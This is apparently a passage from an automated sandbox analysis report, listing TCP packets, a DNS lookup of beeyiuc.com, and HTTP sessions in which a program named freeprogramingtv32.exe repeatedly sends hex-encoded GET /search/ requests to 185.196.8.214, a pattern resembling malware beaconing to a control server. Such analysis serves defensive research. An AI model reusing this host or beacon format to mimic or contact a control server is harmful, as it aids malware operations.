Sep 15, 2024 13:56:45.429750919 CEST	49790	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:45.429924011 CEST	49790	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:45.434928894 CEST	80	49790	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:46.126235962 CEST	80	49790	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:46.126399040 CEST	49790	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:46.240503073 CEST	49790	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:46.249373913 CEST	80	49790	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:46.481950998 CEST	80	49790	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:46.482038021 CEST	49790	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:46.594940901 CEST	49790	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:46.595108986 CEST	49791	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:46.600123882 CEST	80	49791	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:46.600200891 CEST	49791	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:46.600306988 CEST	49791	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:46.600495100 CEST	80	49790	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:46.600555897 CEST	49790	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:46.609793901 CEST	80	49791	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:47.292912006 CEST	80	49791	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:47.293010950 CEST	49791	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:47.408509970 CEST	49791	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:47.408881903 CEST	49792	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:47.413841963 CEST	80	49791	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:47.413928032 CEST	49791	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:47.413960934 CEST	80	49792	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:47.414031982 CEST	49792	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:47.414215088 CEST	49792	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:47.419377089 CEST	80	49792	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:48.112646103 CEST	80	49792	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:48.112792015 CEST	49792	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:48.237128019 CEST	49792	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:48.237514019 CEST	49793	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:48.242482901 CEST	80	49793	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:48.242600918 CEST	49793	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:48.242753983 CEST	49793	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:48.242793083 CEST	80	49792	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:48.242856979 CEST	49792	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:48.247665882 CEST	80	49793	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:48.933758020 CEST	80	49793	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:48.933845043 CEST	49793	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:49.054286003 CEST	49793	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:49.054619074 CEST	49794	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:49.059748888 CEST	80	49794	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:49.059847116 CEST	49794	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:49.059900045 CEST	80	49793	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:49.059937000 CEST	49794	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:49.059959888 CEST	49793	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:49.065651894 CEST	80	49794	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:49.760507107 CEST	80	49794	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:49.760761976 CEST	49794	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:49.877603054 CEST	49794	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:49.877918959 CEST	49795	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:49.883080006 CEST	80	49795	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:49.883183956 CEST	49795	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:49.883285046 CEST	80	49794	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:49.883342981 CEST	49794	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:49.883380890 CEST	49795	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:49.888533115 CEST	80	49795	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:50.578775883 CEST	80	49795	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:50.578871012 CEST	49795	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:50.688133001 CEST	49795	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:50.688543081 CEST	49796	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:50.693557978 CEST	80	49796	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:50.693759918 CEST	49796	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:50.693924904 CEST	80	49795	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:50.693933964 CEST	49796	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:50.694133043 CEST	49795	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:50.698868036 CEST	80	49796	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:51.407538891 CEST	80	49796	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:51.407828093 CEST	49796	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:51.518273115 CEST	49796	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:51.524291992 CEST	80	49796	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:51.758948088 CEST	80	49796	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:51.759254932 CEST	49796	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:51.877836943 CEST	49796	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:51.878289938 CEST	49797	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:52.028184891 CEST	80	49797	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:52.028341055 CEST	80	49796	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:52.028372049 CEST	49797	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:52.028410912 CEST	49796	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:52.030684948 CEST	49797	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:52.035810947 CEST	80	49797	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:52.727859974 CEST	80	49797	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:52.727965117 CEST	49797	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:52.877513885 CEST	49797	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:52.877929926 CEST	49798	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:52.891829967 CEST	80	49798	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:52.891998053 CEST	49798	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:52.892306089 CEST	49798	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:52.892333031 CEST	80	49797	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:52.892394066 CEST	49797	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:52.897593021 CEST	80	49798	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:53.592663050 CEST	80	49798	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:53.592993975 CEST	49798	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:53.706767082 CEST	49798	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:53.707107067 CEST	49799	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:53.712338924 CEST	80	49799	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:53.712382078 CEST	80	49798	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:53.712446928 CEST	49799	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:53.712477922 CEST	49798	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:53.712709904 CEST	49799	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:53.717556953 CEST	80	49799	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:54.409368038 CEST	80	49799	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:54.409471035 CEST	49799	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:54.533638000 CEST	49799	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:54.534080982 CEST	49800	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:54.538918018 CEST	80	49799	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:54.539015055 CEST	49799	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:54.539030075 CEST	80	49800	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:54.539112091 CEST	49800	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:54.539236069 CEST	49800	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:54.544017076 CEST	80	49800	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:55.229031086 CEST	80	49800	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:55.229367018 CEST	49800	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:55.354495049 CEST	49800	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:55.354794025 CEST	49801	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:55.360155106 CEST	80	49800	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:55.360241890 CEST	80	49801	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:55.360249996 CEST	49800	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:55.360430002 CEST	49801	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:55.360553026 CEST	49801	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:55.365660906 CEST	80	49801	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:56.046024084 CEST	80	49801	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:56.046243906 CEST	49801	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:56.158643961 CEST	49801	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:56.159094095 CEST	49802	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:56.164012909 CEST	80	49802	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:56.164122105 CEST	80	49801	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:56.164246082 CEST	49801	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:56.164268017 CEST	49802	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:56.164783955 CEST	49802	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:56.169783115 CEST	80	49802	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:57.144510984 CEST	80	49802	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:57.144603968 CEST	49802	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:57.274286985 CEST	49802	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:57.274880886 CEST	49803	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:57.279917002 CEST	80	49802	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:57.279978991 CEST	49802	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:57.280175924 CEST	80	49803	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:57.280246973 CEST	49803	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:57.280400991 CEST	49803	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:57.285964012 CEST	80	49803	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:57.978821993 CEST	80	49803	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:57.978960991 CEST	49803	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:58.098865032 CEST	49803	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:58.099327087 CEST	49804	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:58.104177952 CEST	80	49803	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:58.104268074 CEST	80	49804	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:58.104269981 CEST	49803	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:58.104343891 CEST	49804	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:58.104554892 CEST	49804	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:58.109451056 CEST	80	49804	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:58.821500063 CEST	80	49804	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:58.821593046 CEST	49804	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:58.944987059 CEST	49804	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:58.945664883 CEST	49805	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:58.950685978 CEST	80	49805	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:58.950831890 CEST	49805	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:58.951037884 CEST	49805	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:58.951042891 CEST	80	49804	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:58.951127052 CEST	49804	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:58.955905914 CEST	80	49805	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:59.665563107 CEST	80	49805	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:59.665656090 CEST	49805	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:59.788395882 CEST	49805	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:59.788783073 CEST	49806	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:59.793629885 CEST	80	49806	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:59.793704033 CEST	80	49805	185.196.8.214	192.168.2.4
Sep 15, 2024 13:56:59.793709040 CEST	49806	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:59.793800116 CEST	49805	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:59.793934107 CEST	49806	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:56:59.798773050 CEST	80	49806	185.196.8.214	192.168.2.4
Sep 15, 2024 13:57:00.484935999 CEST	80	49806	185.196.8.214	192.168.2.4
Sep 15, 2024 13:57:00.485040903 CEST	49806	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:00.599776030 CEST	49806	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:00.600264072 CEST	49807	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:00.605060101 CEST	80	49806	185.196.8.214	192.168.2.4
Sep 15, 2024 13:57:00.605091095 CEST	80	49807	185.196.8.214	192.168.2.4
Sep 15, 2024 13:57:00.605146885 CEST	49806	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:00.605221033 CEST	49807	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:00.609174013 CEST	49807	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:00.614077091 CEST	80	49807	185.196.8.214	192.168.2.4
Sep 15, 2024 13:57:01.307682991 CEST	80	49807	185.196.8.214	192.168.2.4
Sep 15, 2024 13:57:01.308008909 CEST	49807	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:01.432687998 CEST	49807	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:01.433319092 CEST	49808	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:01.438909054 CEST	80	49807	185.196.8.214	192.168.2.4
Sep 15, 2024 13:57:01.438966036 CEST	49807	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:01.439100981 CEST	80	49808	185.196.8.214	192.168.2.4
Sep 15, 2024 13:57:01.439182997 CEST	49808	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:01.439431906 CEST	49808	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:01.444737911 CEST	80	49808	185.196.8.214	192.168.2.4
Sep 15, 2024 13:57:02.154284954 CEST	80	49808	185.196.8.214	192.168.2.4
Sep 15, 2024 13:57:02.154495001 CEST	49808	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:02.398813963 CEST	49808	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:02.403659105 CEST	49809	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:02.404014111 CEST	80	49808	185.196.8.214	192.168.2.4
Sep 15, 2024 13:57:02.407942057 CEST	49808	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:02.411052942 CEST	80	49809	185.196.8.214	192.168.2.4
Sep 15, 2024 13:57:02.412765980 CEST	49809	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:02.413309097 CEST	49809	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:02.418195009 CEST	80	49809	185.196.8.214	192.168.2.4
Sep 15, 2024 13:57:03.097340107 CEST	80	49809	185.196.8.214	192.168.2.4
Sep 15, 2024 13:57:03.099744081 CEST	49809	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:03.238223076 CEST	49809	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:03.239012957 CEST	49810	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:03.245857954 CEST	80	49810	185.196.8.214	192.168.2.4
Sep 15, 2024 13:57:03.245987892 CEST	80	49809	185.196.8.214	192.168.2.4
Sep 15, 2024 13:57:03.246062994 CEST	49809	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:03.246062994 CEST	49810	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:03.246504068 CEST	49810	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:03.251283884 CEST	80	49810	185.196.8.214	192.168.2.4
Sep 15, 2024 13:57:03.934073925 CEST	80	49810	185.196.8.214	192.168.2.4
Sep 15, 2024 13:57:03.934140921 CEST	49810	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:04.054775953 CEST	49810	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:04.055100918 CEST	49811	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:04.060233116 CEST	80	49810	185.196.8.214	192.168.2.4
Sep 15, 2024 13:57:04.060260057 CEST	80	49811	185.196.8.214	192.168.2.4
Sep 15, 2024 13:57:04.060307980 CEST	49810	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:04.060344934 CEST	49811	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:04.060467005 CEST	49811	80	192.168.2.4	185.196.8.214
Sep 15, 2024 13:57:04.065464973 CEST	80	49811	185.196.8.214	192.168.2.4
Sep 15, 2024 13:57:04.745443106 CEST	80	49811	185.196.8.214	192.168.2.4
Sep 15, 2024 13:57:04.745496988 CEST	49811	80	192.168.2.4	185.196.8.214

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 15, 2024 13:55:53.821142912 CEST	63385	53	192.168.2.4	152.89.198.214
Sep 15, 2024 13:55:53.864814997 CEST	53	63385	152.89.198.214	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 15, 2024 13:55:53.821142912 CEST	192.168.2.4	152.89.198.214	0x3f33	Standard query (0)	beeyiuc.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 15, 2024 13:55:53.864814997 CEST	152.89.198.214	192.168.2.4	0x3f33	No error (0)	beeyiuc.com		185.196.8.214	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

beeyiuc.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:55:53.975594997 CEST	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf915c0ee969c3a HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:55:54.665621042 CEST	576	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:55:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 31 37 30 0d 0a 36 37 62 36 38 61 38 61 33 32 30 33 61 37 37 62 30 34 31 38 66 35 35 66 36 37 37 35 38 31 64 66 34 36 66 66 38 62 63 38 66 35 31 65 31 38 65 38 62 64 35 37 65 66 31 35 38 35 62 63 63 66 62 35 66 62 63 34 30 61 64 39 30 38 38 62 65 38 64 65 32 32 36 36 65 32 30 38 61 36 62 62 39 64 35 39 32 64 65 30 37 33 34 36 61 63 37 30 66 65 37 39 61 62 33 37 35 33 64 65 66 66 64 34 30 30 63 61 34 36 63 64 37 64 62 62 31 33 66 65 32 64 38 38 32 37 65 30 30 65 61 37 36 33 63 32 34 64 62 38 65 32 34 34 65 62 35 61 37 66 34 33 65 37 32 63 36 66 38 62 33 33 36 37 39 30 66 65 31 34 63 30 66 31 39 34 39 61 33 38 63 37 36 39 39 36 31 36 64 38 35 62 38 63 32 62 61 38 35 62 62 32 65 64 34 31 32 30 65 38 37 63 63 63 66 66 37 62 62 66 38 35 65 63 64 35 34 61 65 36 33 35 63 38 31 65 33 30 34 33 35 62 32 34 65 32 33 62 37 34 30 62 37 38 62 30 65 36 38 65 66 65 38 36 32 64 34 37 62 37 31 39 33 66 37 39 39 31 37 36 30 32 61 30 61 35 62 39 38 31 65 63 36 66 33 65 65 30 62 35 32 38 64 32 64 35 62 38 33 39 32 61 30 [TRUNCATED] Data Ascii: 17067b68a8a3203a77b0418f55f677581df46ff8bc8f51e18e8bd57ef1585bccfb5fbc40ad9088be8de2266e208a6bb9d592de07346ac70fe79ab3753deffd400ca46cd7dbb13fe2d8827e00ea763c24db8e244eb5a7f43e72c6f8b336790fe14c0f1949a38c7699616d85b8c2ba85bb2ed4120e87cccff7bbf85ecd54ae635c81e30435b24e23b740b78b0e68efe862d47b7193f79917602a0a5b981ec6f3ee0b528d2d5b8392a05ef34b0cb90bf67d460012e346fa55ecbed0
Sep 15, 2024 13:55:57.313724041 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:55:57.580874920 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:55:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 15, 2024 13:55:57.688524008 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:55:57.932581902 CEST	431	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:55:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 30 0d 0a 36 37 62 36 39 63 39 35 33 38 30 34 62 32 36 62 35 36 35 66 65 39 35 62 33 32 31 62 64 31 39 61 35 35 66 37 38 61 64 32 65 61 31 61 31 37 66 35 61 31 35 30 65 63 31 64 64 35 66 65 38 33 65 37 39 31 38 37 34 64 38 62 34 66 64 32 66 62 64 63 33 35 33 33 62 39 34 64 66 62 64 33 64 61 31 61 32 31 65 33 37 31 35 38 61 64 37 35 66 64 36 66 61 31 32 64 35 64 63 30 65 30 64 32 30 64 63 30 35 64 63 63 37 64 62 33 31 61 66 39 33 33 38 61 32 36 65 66 31 33 61 37 37 38 63 37 35 32 62 66 66 64 34 66 65 38 35 64 36 31 34 31 65 65 32 32 36 64 39 36 33 62 36 37 38 65 66 34 31 30 63 38 65 61 38 62 39 62 33 66 63 63 37 31 39 30 31 35 63 36 35 39 38 35 32 39 62 36 35 39 62 33 64 39 0d 0a 30 0d 0a 0d 0a Data Ascii: e067b69c953804b26b565fe95b321bd19a55f78ad2ea1a17f5a150ec1dd5fe83e791874d8b4fd2fbdc3533b94dfbd3da1a21e37158ad75fd6fa12d5dc0e0d20dc05dcc7db31af9338a26ef13a778c752bffd4fe85d6141ee226d963b678ef410c8ea8b9b3fcc719015c6598529b659b3d90

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:55:58.055557966 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:55:58.740447998 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:55:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:55:58.867314100 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:55:59.548640966 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:55:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:55:59.678982973 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
